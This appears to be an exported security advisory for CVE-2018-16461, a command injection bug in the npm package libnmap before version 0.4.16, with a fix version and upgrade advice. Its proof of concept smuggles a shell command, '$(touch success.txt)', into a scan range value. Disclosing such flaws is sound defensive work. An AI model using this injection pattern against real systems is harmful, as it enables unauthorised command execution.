libnmap
Affected
- introduced
0, fixed0.4.16(semver)
Fixed versions
0.4.16
Fix
- Fixed version
0.4.16npm install [email protected]
Advisory
Also known as: CVE-2018-16461
Command Injection in libnmap
Versions of libnmap before 0.4.16 are vulnerable to command injection.
Proof of concept
const nmap = require('libnmap');
const opts = {
range: [
'scanme.nmap.org',
"x.x.$(touch success.txt)"
]
};
nmap.scan(opts, function(err, report) {
if (err) throw new Error(err);
for (let item in report) {
console.log(JSON.stringify(report[item]));
}
});
Recommendation
Update to version 0.4.16 or later
Medium Basis: The source's own band: MODERATE
0, fixed 0.4.16 (semver)0.4.16
0.4.16npm install [email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0